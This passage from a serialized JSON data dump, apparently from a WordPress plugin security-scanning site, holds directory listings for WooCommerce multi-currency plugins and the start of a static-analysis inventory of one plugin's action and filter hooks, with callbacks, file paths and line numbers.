products.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Product Add-ons:\u003C\u002Fstrong> Prices for extra product options are correctly converted.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Name Your Price:\u003C\u002Fstrong> Works perfectly with flexible, user-defined pricing.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Role Based Pricing for WooCommerce:\u003C\u002Fstrong> Show the correct converted price based on user roles.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce One Page Checkout:\u003C\u002Fstrong> A seamless multi currency checkout on a single page.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Shipping & Measurement Plugins\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Ensure your shipping costs and complex pricing rules are accurately converted for your customers.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Table Rate Shipping Method by Flexible Shipping\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced Flat Rate Shipping Method for WooCommerce\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Per Product Shipping for WooCommerce\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Measurement Price Calculator for WooCommerce\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Checkout Field Editor for WooCommerce\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Multilingual & Translation Plugins\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Combine our plugin with the best multilingual tools to create a truly global store.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>WPML:\u003C\u002Fstrong> Our plugin is fully compatible with the WPML Multilingual CMS, allowing you to build a complete multi-lingual and multi currency store.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Polylang:\u003C\u002Fstrong> We also offer full compatibility with Polylang for all your translation needs.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Performance & Caching\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Our currency switcher is designed to be lightweight and works well with popular caching plugins to ensure your store remains fast. This includes compatibility with \u003Cstrong>WP Rocket, W3 Total Cache, WP Super Cache\u003C\u002Fstrong>, and more.\u003C\u002Fp>\n\u003Cp>Need compatibility with a specific plugin or theme? \u003Ca href=\"https:\u002F\u002Fpsmplugins.com\u002Fcreate-new-ticket\u002F\" rel=\"nofollow ugc\">Contact us\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>External Services\u003C\u002Fh3>\n\u003Cp>This plugin connects to Yahoo Finance to fetch live exchange rates, which are securely stored in your database and used for real-time price conversions.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Service:\u003C\u002Fstrong> Yahoo Finance\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Purpose:\u003C\u002Fstrong> Retrieving up-to-date exchange rates for accurate currency conversion.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Data Sent:\u003C\u002Fstrong> Only the currency symbols for the base and target currencies (e.g., USD to EUR) are transmitted.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Frequency:\u003C\u002Fstrong> When you add a new currency, update currency settings, or manually refresh exchange rates.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Terms:\u003C\u002Fstrong> https:\u002F\u002Flegal.yahoo.com\u002Fus\u002Fen\u002Fyahoo\u002Fterms\u002Fotos\u002Findex.html\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Privacy Policy:\u003C\u002Fstrong> https:\u002F\u002Flegal.yahoo.com\u002Fus\u002Fen\u002Fyahoo\u002Fprivacy\u002Findex.html\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>No personal or sensitive information is ever sent—only public financial data is accessed for conversion calculations.\u003C\u002Fp>\n","Stop losing sales. Our multi currency switcher & converter shows local prices in WooCommerce to reduce cart abandonment and boost your global sales.",100,1238,"2026-04-06T11:59:00.000Z","5.8",[21,271,22,272,24],"https:\u002F\u002Fpsmplugins.com\u002Fmulti-currency-for-woocommerce\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fpsmwoo-multi-currency.1.0.4.zip",{"slug":332,"name":333,"version":334,"author":335,"author_profile":336,"description":337,"short_description":338,"active_installs":339,"downloaded":340,"rating":324,"num_ratings":92,"last_updated":341,"tested_up_to":342,"requires_at_least":343,"requires_php":289,"tags":344,"homepage":289,"download_link":346,"security_score":347,"vuln_count":28,"unpatched_count":28,"last_vuln_date":38,"fetched_at":30},"aco-currency-switcher-for-woocommerce","Currency Switcher for WooCommerce","2.1.3","acowebs","https:\u002F\u002Fprofiles.wordpress.org\u002Facowebs\u002F","\u003Cp>The Currency Switcher for WooCommerce plugin enables multi-currency setup in the WooCommerce store utilizing the easy-to-use and efficient User Interfaces.\u003C\u002Fp>\n\u003Cp>Our developers use Currency switcher for Woocommerce plugin with a clean and robust panel where the users can effortlessly apply the required settings and the currency involved.\u003C\u002Fp>\n\u003Cp>Being the best currency switcher for Woocommerce, the plugin supports more than 10 currency aggregators to automatically synchronize the exchange rates.\u003C\u002Fp>\n\u003Cp>Activate a multi-currency system in your e-commerce store to let users view and pay for the products with their local currency.\u003C\u002Fp>\n\u003Cp>WordPress currency switcher makes your e-commerce store prepared for international sales and incorporates any number of currencies.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwcs-free.demo2.acowebs.com\" rel=\"nofollow ugc\">Try the Demo \u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Facowebs.com\u002Fwoocommerce-plugins\u002F\" rel=\"nofollow ugc\">Documents\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Facowebs.com\u002Fwoocommerce-plugins\u002F\" rel=\"nofollow ugc\">Pro Version\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>How to manage settings in the Currency switcher for the WooCommerce plugin?\u003C\u002Fh3>\n\u003Cp>With the WooCommerce multi-currency plugin, the admin can set control, settings, and options using the currency switcher from the left menu of the dashboard.\u003C\u002Fp>\n\u003Cp>Admin can view many tabs and set the required settings from style, general, and advanced tabs.\u003C\u002Fp>\n\u003Cp>In the WordPress currency switcher third-party services, the admin should set the aggregator to get the currency rate services.\u003C\u002Fp>\n\u003Cp>If the admin wishes to set a fixed product and its coupon price, they can do it from every coupon and its product editor.\u003C\u002Fp>\n\u003Cp>Admin can also set a fixed price based on the group of user roles along with further settings and options.\u003C\u002Fp>\n\u003Cp>Admins have options to display the currency convert calculator on the cart page and front-end WooCommerce product page.\u003C\u002Fp>\n\u003Ch3>CHECK OUT OUR VIDEO DEMO ON HOW THIS WORKS:\u003C\u002Fh3>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FteR-LYsHGGI?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>BASIC FEATURES\u003C\u002Fh3>\n\u003Cp>= Woocommerce Multi Currency free plugin features =\u003C\u002Fp>\n\u003Cp>The best Currency switcher for WooCommerce works with features to let you Display values in multiple currencies, utilize anUnlimited Currencies, and set the currency exchange rates either manually or automatically.\u003C\u002Fp>\n\u003Cp>The Currency switcher for WooCommerce Offers latest exchange rates and enables the real-time conversion of the displayed prices. The currency can be modified automatically based on the customers’ IP.\u003C\u002Fp>\n\u003Cp>Features of Currency Switcher for WooCommerce plugin-free version include:\u003C\u002Fp>\n\u003Cp>🔹 Currency switch up to 2\u003Cbr \u002F>\n🔹 Feature to set a default currency\u003Cbr \u002F>\n🔹 Auto-update currency  option via aggregator\u003Cbr \u002F>\n🔹 Update the currency rate by clicking the ‘Update’ button\u003Cbr \u002F>\n🔹 Email notification after updating the currency rate with detailed information\u003Cbr \u002F>\n🔹 Set of currencies aggregators for changing the rates automatically. Nevertheless, admin can set rates manually when required too\u003Cbr \u002F>\n🔹 Option to set exchange fee for every currency\u003Cbr \u002F>\n🔹 Option to set the currency format\u003Cbr \u002F>\n🔹 Function to set Currency Switcher on Frontend with position either left or right\u003Cbr \u002F>\n🔹 Option to choose pages for show currency switcher\u003Cbr \u002F>\n🔹 Option to choose checkout based on the selected currency or not\u003Cbr \u002F>\n🔹 Option to set price info icon on every product in frontend where visitors can view price info on other currencies\u003Cbr \u002F>\n🔹 Currency switcher as shortcode and widget\u003Cbr \u002F>\n🔹 Auto-detection of user location by user IP and set default currency\u003Cbr \u002F>\n🔹 Option to set the custom currency symbol\u003Cbr \u002F>\n🔹 Option to write custom CSS for front-end.\u003Cbr \u002F>\n🔹 Set currency board background and color\u003Cbr \u002F>\n🔹 Option to hide\u002Fshow shipping method for the particular currency\u003Cbr \u002F>\n🔹 choose to hide\u002Fshow payment methods for certain currency\u003Cbr \u002F>\n🔹 Feature to select stored for user-selected currency\u003Cbr \u002F>\n🔹 Export \u002F Import as JSON format\u003C\u002Fp>\n\u003Ch3>3RD PARTY OR EXTERNAL SERVICES\u003C\u002Fh3>\n\u003Cp>The Acowebs Multi-currency for Woocommerce plugin incorporates features to set the default currency for a user. Our plugin uses 3rd party or external services to obtain the user location-specific information depending upon the IP address of the user.\u003C\u002Fp>\n\u003Cp>You can disable these configurations from the backend as they are optional.\u003C\u002Fp>\n\u003Cp>1) \u003Ca href=\"http:\u002F\u002Fip-api.com\" rel=\"nofollow ugc\">IP API\u003C\u002Fa>, \u003Ca href=\"https:\u002F\u002Fip-api.com\u002Fdocs\u002Flegal\" rel=\"nofollow ugc\">Privacy Policy:\u003C\u002Fa> to get the user’s default currency code.\u003C\u002Fp>\n\u003Cp>We also use multiple API as currency aggregators to get the currency exchange rates. woocommerce currency converter Plugin will pass only the currency code to get the desired exchange rate,\u003C\u002Fp>\n\u003Cp>No other sensitive information is passed to these services. You can also check the privacy policy of the aggregator of your choice before using them.\u003C\u002Fp>\n\u003Ch3>DEMO – CHECK THIS OUT IN REAL\u003C\u002Fh3>\n\u003Cp>Check how Currency Switcher for WooCommerce custom options are created with Currency switcher for Woocommerce free version\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwcs-free.demo2.acowebs.com\u002F\" rel=\"nofollow ugc\">🔗 Front end Demo\u003C\u002Fa> (Watch how it looks in the front-end)\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwcs-free.demo2.acowebs.com\u002F\" rel=\"nofollow ugc\">🔗 Back end Demo\u003C\u002Fa> (Feel free to play around and check how the plugin works in the back-end)\u003C\u002Fp>\n\u003Ch3>PREMIUM FEATURES\u003C\u002Fh3>\n\u003Cp>Acowebs WooCommerce multi-currency switches plugin allows the visitors of your site to switch the currencies of the product price as per the set real-time currency rates, and make payment in the selected currency mode.  With a multi-currency switcher for the Woocommerce plugin premium version, you can enjoy the following features.\u003C\u002Fp>\n\u003Cp>🔹 All the features in the Currency Switcher for WooCommerce plugin-free version\u003Cbr \u002F>\n🔹 Unlimitted currency switcher\u003Cbr \u002F>\n🔹 Work with the option to switch any number of currencies\u003Cbr \u002F>\n🔹 Access to Lifetime technical support from Acowebs experts team\u003Cbr \u002F>\n🔹 Hide currencies based on the specific user role\u003Cbr \u002F>\n🔹 A fixed price for products based on the specific user role\u003Cbr \u002F>\n🔹 24 hours emergency support\u003C\u002Fp>\n\u003Ch3>PRO-Version – CHECK THIS OUT\u003C\u002Fh3>\n\u003Cp>Check how WordPress currency switcher custom options are created!\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwcs-free.demo2.acowebs.com\u002F\" rel=\"nofollow ugc\">🔗 Front end Demo\u003C\u002Fa> (Watch how the currency switcher for WooCommerce plugin looks in the front-end)\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwcs-free.demo2.acowebs.com\u002F\" rel=\"nofollow ugc\">🔗 Back end Demo\u003C\u002Fa> (Feel free to play around and check how the plugin works in the back-end)\u003C\u002Fp>\n\u003Ch3>Why Acowebs?\u003C\u002Fh3>\n\u003Cp>Being the best Software company, Acowebs has a team of Shopify and WordPress developers to develop world-class WordPress themes and plugins. Our award-winning team has specialized expertise in the WordPress domain and competitive User experience skills. Experience the versatile and high-performance WooCommerce plugins with stunning features and UX from Acowebs.\u003C\u002Fp>\n\u003Cp>Check out our other WordPress plugins \u003Ca href=\"https:\u002F\u002Facowebs.com\u002Fwoocommerce-plugins\u002F\" rel=\"nofollow ugc\">here\u003C\u002Fa>.\u003C\u002Fp>\n\u003Ch3>What our customer says:\u003C\u002Fh3>\n\u003Cp>“Multi-currency for Woocommerce has made the breakthrough, with excellence giving power-packed solutions, working great with no single fault to mention. Thank you team for the continuous support “\u003C\u002Fp>\n\u003Cp>“Currency Switcher for WooCommerce plugin has been the best plugin from the team. Nice integration by the developers, especially the quick conversion of amount for products into default currency. “\u003C\u002Fp>\n\u003Ch3>OTHER USEFUL LINKS\u003C\u002Fh3>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Facowebs.com\u002F\" rel=\"nofollow ugc\">Find all PRO features\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Facowebs.com\u002F\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Facowebs.com\u002F\" rel=\"nofollow ugc\">Find Our Other Plugins\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Facowebs.com\u002Fsupport\" rel=\"nofollow ugc\">Support Ticket\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Facowebs\" rel=\"nofollow ugc\">Facebook\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Ftwitter.com\u002Facowebs\" rel=\"nofollow ugc\">Twitter\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Facowebs\u002F\" rel=\"nofollow ugc\">LinkedIn\u003C\u002Fa>\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002Fchannel\u002FUCXoOjbKiXjDocNMe8qd3WHw\" rel=\"nofollow ugc\">YouTube\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>Frequently Asked Questions (FAQs)\u003C\u002Fh3>\n\u003Cp>=How do I add multiple currencies in the Currency Switcher for WooCommerce plugin?=\u003C\u002Fp>\n\u003Cp>You can add multiple currencies in the currency switcher plugin for WooCommerce from the first plugin tab quickly as you need for the shop. For every currency, you can display the currency setup that enables the set up of custom text, decimals to be displayed, etc.\u003C\u002Fp>\n\u003Cp>=How do I automatically change the exchange rates in the currency switcher plugin for WooCommerce?=\u003C\u002Fp>\n\u003Cp>You can change the exchange rates either Voluntarily or automatically with the API included in the plugin. Either enter the exchange rate manually or make use of the APIs to keep them always updated.\u003C\u002Fp>\n\u003Cp>=Can I update the exchange rates with Currency Switcher for WooCommerce?=\u003C\u002Fp>\n\u003Cp>Yes, with the best currency switcher for WooCommerce from Acowebs, you can update the exchange rates as per your choice, ie, once a month, week, or daily. You have the right to control the frequency in which the plugin pulls the updated rates to display the right price automatically.\u003C\u002Fp>\n\u003Cp>=Can I set custom rules based on location in the currency switcher plugin?=\u003C\u002Fp>\n\u003Cp>You can create custom rules to decide which rules will be shown by default to the users depending upon the country of origin, and override the options like geolocations.\u003C\u002Fp>\n","Currency Switcher for WooCommerce Plugin helps to setup multi currency in WooCommerce Store with an easy to use user interfaces.",10,4456,"2023-09-05T10:08:00.000Z","6.3.8","4.4.0",[271,22,272,345,24],"switch-currency","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Faco-currency-switcher-for-woocommerce.zip",85,{"attackSurface":349,"codeSignals":991,"taintFlows":1766,"riskAssessment":2142,"analyzedAt":2156},{"hooks":350,"ajaxHandlers":855,"restRoutes":942,"shortcodes":961,"cronEvents":989,"entryPointCount":990,"unprotectedCount":375},[351,357,360,364,369,372,376,381,385,390,392,397,401,405,409,413,417,421,425,429,435,438,442,445,447,450,452,454,456,458,459,463,466,470,473,475,476,477,479,480,483,485,487,492,496,499,501,503,506,509,514,518,520,523,527,531,535,538,542,545,548,552,555,558,561,565,569,571,573,576,580,583,586,589,592,595,598,601,604,607,610,613,616,619,622,625,628,631,634,638,642,645,649,653,656,658,661,664,666,668,671,675,678,681,685,689,693,696,699,702,706,710,714,717,721,725,728,730,733,736,739,742,745,749,753,756,759,764,768,772,774,777,780,783,786,788,791,794,797,800,803,806,809,812,814,816,818,822,825,827,829,833,836,839,842,844,847,849,852],{"type":352,"name":353,"callback":354,"file":355,"line":356},"action","admin_notices","anonymous","classes\\alert.php",57,{"type":352,"name":358,"callback":354,"file":355,"line":359},"network_admin_notices",58,{"type":352,"name":361,"callback":362,"file":355,"line":363},"admin_enqueue_scripts","woocs_alert_scripts",62,{"type":352,"name":365,"callback":366,"priority":249,"file":367,"line":368},"woocommerce_analytics_update_coupon","convert_coupons","classes\\analytics.php",16,{"type":352,"name":370,"callback":371,"priority":249,"file":367,"line":47},"woocommerce_analytics_update_product","convert_products",{"type":352,"name":373,"callback":374,"priority":249,"file":367,"line":375},"woocommerce_analytics_update_tax","convert_tax",22,{"type":352,"name":377,"callback":378,"file":379,"line":380},"wp_footer","draw_html","classes\\auto_switcher.php",29,{"type":352,"name":382,"callback":382,"priority":383,"file":379,"line":384},"wp_head",99,30,{"type":386,"name":387,"callback":388,"file":389,"line":149},"filter","sumosubscriptions_get_subscription_price","closure","classes\\compatibility\\sumo_subscriptions.php",{"type":386,"name":391,"callback":388,"file":389,"line":375},"sumosubscriptions_alter_subscription_plan",{"type":386,"name":393,"callback":394,"priority":324,"file":395,"line":396},"woocommerce_subscription_price_string_details","fix_subscription_price_string_details","classes\\compatibility\\woocommerce_subscriptions.php",23,{"type":386,"name":398,"callback":399,"priority":339,"file":395,"line":400},"wcs_get_subscription_orders","fix_subscription_orders",27,{"type":386,"name":402,"callback":403,"priority":275,"file":395,"line":404},"wcs_new_order_items","fix_new_order_items",31,{"type":386,"name":406,"callback":407,"priority":339,"file":395,"line":408},"woocommerce_variable_subscription_price_html","fix_variable_subscription_price_html",35,{"type":386,"name":410,"callback":411,"priority":339,"file":395,"line":412},"woocommerce_subscriptions_product_price_string","fix_subscription_product_price_string",39,{"type":386,"name":414,"callback":415,"priority":339,"file":395,"line":416},"woocommerce_subscriptions_product_price","fix_subscription_product_price",43,{"type":386,"name":418,"callback":419,"priority":339,"file":395,"line":420},"woocommerce_subscriptions_renewal_product_title","fix_renewal_product_title",47,{"type":386,"name":422,"callback":423,"priority":249,"file":395,"line":424},"woocommerce_get_cart_item_from_session","adjust_cart_item_price_from_session",53,{"type":352,"name":426,"callback":427,"file":428,"line":27},"woocommerce_analytics_update_order_stats","recalculate_order_stats","classes\\dashboard_stat.php",{"type":352,"name":430,"callback":431,"priority":432,"file":433,"line":434},"woocommerce_coupon_options","add_fixed_coupon_amount",9999,"classes\\fixed\\fixed_coupon.php",11,{"type":352,"name":436,"callback":437,"priority":432,"file":433,"line":249},"woocommerce_coupon_options_usage_restriction","add_fixed_coupon_restriction_amount",{"type":352,"name":439,"callback":440,"priority":432,"file":433,"line":441},"woocommerce_coupon_options_save","save_fixed_coupon",13,{"type":352,"name":443,"callback":443,"file":433,"line":444},"admin_footer",18,{"type":352,"name":443,"callback":443,"file":433,"line":446},33,{"type":352,"name":448,"callback":448,"priority":432,"file":449,"line":339},"woocommerce_product_options_general_product_data","classes\\fixed\\fixed_price.php",{"type":352,"name":451,"callback":451,"priority":432,"file":449,"line":434},"woocommerce_process_product_meta",{"type":352,"name":453,"callback":453,"priority":432,"file":449,"line":249},"woocommerce_product_after_variable_attributes",{"type":352,"name":455,"callback":455,"priority":432,"file":449,"line":441},"woocommerce_process_product_meta_variable",{"type":352,"name":457,"callback":455,"priority":432,"file":449,"line":27},"woocommerce_save_product_variation",{"type":352,"name":443,"callback":443,"file":449,"line":375},{"type":386,"name":460,"callback":461,"priority":432,"file":462,"line":249},"woocommerce_shipping_instance_form_fields_flat_rate","add_fixed_flat_rate","classes\\fixed\\fixed_shipping.php",{"type":386,"name":464,"callback":465,"priority":432,"file":462,"line":441},"woocommerce_shipping_flat_rate_instance_settings_values","save_fixed_flate_rate",{"type":386,"name":467,"callback":468,"priority":432,"file":469,"line":249},"woocommerce_shipping_instance_form_fields_free_shipping","add_fixed_free_rate","classes\\fixed\\fixed_shipping_free.php",{"type":386,"name":471,"callback":472,"priority":432,"file":469,"line":441},"woocommerce_shipping_free_shipping_instance_settings_values","save_fixed_free_rate",{"type":352,"name":448,"callback":448,"priority":432,"file":474,"line":249},"classes\\fixed\\fixed_user_role.php",{"type":352,"name":451,"callback":451,"priority":432,"file":474,"line":441},{"type":352,"name":453,"callback":453,"priority":432,"file":474,"line":27},{"type":352,"name":455,"callback":455,"priority":432,"file":474,"line":478},15,{"type":352,"name":457,"callback":455,"priority":432,"file":474,"line":368},{"type":352,"name":481,"callback":388,"file":474,"line":482},"init",17,{"type":386,"name":484,"callback":388,"priority":432,"file":474,"line":72},"woocommerce_ajax_add_order_item_validation",{"type":352,"name":443,"callback":443,"file":474,"line":486},38,{"type":352,"name":488,"callback":489,"file":490,"line":491},"woocs_before_settings_update","updateRateLimites","classes\\Rates\\ExchangeRateLimiter.php",21,{"type":386,"name":493,"callback":494,"priority":339,"file":495,"line":368},"woocommerce_reports_get_order_report_data","adapt_data","classes\\reports.php",{"type":386,"name":497,"callback":498,"file":495,"line":482},"woocommerce_reports_get_order_report_query","adapt_query",{"type":352,"name":443,"callback":500,"file":495,"line":444},"show_switcher",{"type":352,"name":361,"callback":388,"file":502,"line":486},"classes\\smart-designer.php",{"type":352,"name":504,"callback":388,"priority":134,"file":505,"line":375},"admin_print_scripts","classes\\statistic.php",{"type":352,"name":507,"callback":388,"priority":508,"file":505,"line":446},"admin_head",999,{"type":386,"name":510,"callback":511,"file":512,"line":513},"pre_option_woocommerce_price_num_decimals","woocommerce_price_num_decimals","classes\\woocs.php",84,{"type":386,"name":515,"callback":516,"priority":275,"file":512,"line":517},"woocommerce_cart_hash","woocommerce_add_to_cart_hash",87,{"type":386,"name":516,"callback":516,"file":512,"line":519},89,{"type":352,"name":521,"callback":521,"priority":375,"file":512,"line":522},"woocommerce_new_order_item",93,{"type":352,"name":524,"callback":525,"priority":324,"file":512,"line":526},"wp_enqueue_scripts","disable_woo_slider_script",95,{"type":386,"name":528,"callback":529,"file":512,"line":530},"woocommerce_paypal_args","apply_conversion",281,{"type":386,"name":532,"callback":533,"priority":432,"file":512,"line":534},"woocommerce_paypal_supported_currencies","enable_custom_currency",282,{"type":386,"name":536,"callback":536,"priority":432,"file":512,"line":537},"woocommerce_currency_symbol",283,{"type":386,"name":539,"callback":540,"priority":432,"file":512,"line":541},"woocommerce_currency","get_woocommerce_currency",284,{"type":386,"name":543,"callback":543,"priority":432,"file":512,"line":544},"wc_get_template",285,{"type":352,"name":546,"callback":546,"priority":432,"file":512,"line":547},"woocommerce_coupon_loaded",288,{"type":386,"name":549,"callback":550,"priority":432,"file":512,"line":551},"woocommerce_product_get_price","raw_woocommerce_price",294,{"type":386,"name":553,"callback":550,"priority":432,"file":512,"line":554},"woocommerce_product_variation_get_price",297,{"type":386,"name":556,"callback":550,"priority":432,"file":512,"line":557},"woocommerce_product_variation_get_regular_price",298,{"type":386,"name":559,"callback":559,"priority":432,"file":512,"line":560},"woocommerce_admin_order_preview_line_items",300,{"type":386,"name":562,"callback":563,"priority":432,"file":512,"line":564},"woocommerce_product_variation_get_sale_price","raw_sale_price_filter",305,{"type":386,"name":566,"callback":567,"priority":383,"file":512,"line":568},"woocommerce_structured_data_product_offer","structured_data_product_offer",309,{"type":386,"name":550,"callback":550,"priority":432,"file":512,"line":570},312,{"type":386,"name":566,"callback":567,"priority":383,"file":512,"line":572},315,{"type":386,"name":574,"callback":550,"priority":432,"file":512,"line":575},"woocommerce_product_get_regular_price",334,{"type":386,"name":577,"callback":578,"priority":432,"file":512,"line":579},"woocommerce_product_get_sale_price","raw_woocommerce_price_sale",337,{"type":386,"name":581,"callback":550,"priority":432,"file":512,"line":582},"woocommerce_get_variation_regular_price",341,{"type":386,"name":584,"callback":550,"priority":432,"file":512,"line":585},"woocommerce_get_variation_sale_price",342,{"type":386,"name":587,"callback":587,"priority":432,"file":512,"line":588},"woocommerce_variation_prices",343,{"type":386,"name":590,"callback":590,"priority":432,"file":512,"line":591},"woocommerce_get_variation_prices_hash",345,{"type":386,"name":593,"callback":593,"priority":432,"file":512,"line":594},"woocommerce_price_format",350,{"type":386,"name":596,"callback":596,"priority":432,"file":512,"line":597},"woocommerce_thankyou_order_id",351,{"type":352,"name":599,"callback":599,"priority":432,"file":512,"line":600},"woocommerce_checkout_update_order_meta",352,{"type":386,"name":602,"callback":602,"priority":92,"file":512,"line":603},"woocommerce_before_resend_order_emails",353,{"type":386,"name":605,"callback":605,"priority":339,"file":512,"line":606},"woocommerce_email_actions",354,{"type":352,"name":608,"callback":608,"priority":92,"file":512,"line":609},"woocommerce_order_status_completed",355,{"type":352,"name":611,"callback":611,"priority":92,"file":512,"line":612},"woocommerce_order_status_completed_notification",356,{"type":386,"name":614,"callback":614,"priority":432,"file":512,"line":615},"woocommerce_package_rates",358,{"type":386,"name":617,"callback":617,"priority":432,"file":512,"line":618},"woocommerce_cart_totals_order_total_html",363,{"type":386,"name":620,"callback":620,"priority":432,"file":512,"line":621},"wc_price_args",364,{"type":352,"name":623,"callback":623,"priority":432,"file":512,"line":624},"woocommerce_before_mini_cart",369,{"type":352,"name":626,"callback":626,"priority":432,"file":512,"line":627},"woocommerce_after_mini_cart",373,{"type":386,"name":629,"callback":629,"priority":508,"file":512,"line":630},"woocommerce_shipping_free_shipping_is_available",376,{"type":386,"name":632,"callback":629,"priority":508,"file":512,"line":633},"woocommerce_shipping_legacy_free_shipping_is_available",377,{"type":352,"name":635,"callback":636,"priority":92,"file":512,"line":637},"woocommerce_order_get_currency","woocommerce_get_order_currency",379,{"type":352,"name":639,"callback":640,"file":512,"line":641},"woocommerce_before_calculate_totals","woocs_before_calculate_totals_geoip_fix",383,{"type":352,"name":643,"callback":643,"priority":432,"file":512,"line":644},"woocommerce_settings_tabs_array",414,{"type":352,"name":646,"callback":647,"priority":432,"file":512,"line":648},"woocommerce_settings_tabs_woocs","print_plugin_options",415,{"type":352,"name":650,"callback":651,"priority":92,"file":512,"line":652},"woocommerce_checkout_process","check_currency_on_checkout",418,{"type":352,"name":654,"callback":654,"file":512,"line":655},"widgets_init",421,{"type":352,"name":382,"callback":382,"priority":508,"file":512,"line":657},422,{"type":352,"name":659,"callback":659,"priority":432,"file":512,"line":660},"body_class",423,{"type":352,"name":662,"callback":662,"priority":92,"file":512,"line":663},"save_post",425,{"type":352,"name":507,"callback":507,"priority":92,"file":512,"line":665},426,{"type":352,"name":361,"callback":361,"file":512,"line":667},428,{"type":352,"name":669,"callback":669,"priority":92,"file":512,"line":670},"admin_init",429,{"type":352,"name":672,"callback":673,"priority":92,"file":512,"line":674},"woocommerce_get_price_html","woocommerce_price_html",432,{"type":352,"name":676,"callback":673,"priority":92,"file":512,"line":677},"woocommerce_variable_sale_price_html",434,{"type":352,"name":679,"callback":673,"priority":92,"file":512,"line":680},"woocommerce_sale_price_html",435,{"type":386,"name":682,"callback":683,"priority":92,"file":512,"line":684},"woocommerce_get_formatted_order_total","woocommerce_price_order_html_title",439,{"type":386,"name":686,"callback":687,"priority":92,"file":512,"line":688},"woocommerce_order_formatted_line_subtotal","woocommerce_price_order_line_subtotal",440,{"type":386,"name":690,"callback":691,"priority":92,"file":512,"line":692},"woocommerce_order_subtotal_to_display","woocommerce_price_order_subtotal_to_display",441,{"type":352,"name":694,"callback":694,"priority":92,"file":512,"line":695},"wpo_wcpdf_process_template_order",449,{"type":352,"name":697,"callback":697,"priority":92,"file":512,"line":698},"woocs_exchange_value",450,{"type":386,"name":700,"callback":700,"priority":432,"file":512,"line":701},"woocommerce_checkout_update_order_review",452,{"type":386,"name":703,"callback":704,"priority":339,"file":512,"line":705},"woocommerce_evaluate_shipping_cost_args","woocommerce_fix_shipping_calc",455,{"type":386,"name":707,"callback":708,"priority":508,"file":512,"line":709},"wc_get_price_decimals","woocs_fix_decimals",457,{"type":386,"name":711,"callback":712,"priority":508,"file":512,"line":713},"woocommerce_variation_prices_array","woocs_fix_variation_decimal",458,{"type":352,"name":715,"callback":715,"priority":92,"file":512,"line":716},"the_post",473,{"type":352,"name":718,"callback":719,"priority":92,"file":512,"line":720},"load-post.php","admin_action_post",474,{"type":352,"name":722,"callback":723,"priority":339,"file":512,"line":724},"woocs_update_rates_wpcron","rate_auto_update",478,{"type":352,"name":481,"callback":726,"file":512,"line":727},"make_rates_auto_update",481,{"type":352,"name":669,"callback":726,"file":512,"line":729},482,{"type":352,"name":731,"callback":726,"file":512,"line":732},"rest_api_init",483,{"type":352,"name":481,"callback":734,"file":512,"line":735},"init_style_notice",503,{"type":386,"name":737,"callback":737,"priority":339,"file":512,"line":738},"woocs_convert_price",505,{"type":386,"name":740,"callback":740,"priority":339,"file":512,"line":741},"woocs_back_convert_price",506,{"type":386,"name":743,"callback":743,"priority":339,"file":512,"line":744},"woocs_convert_p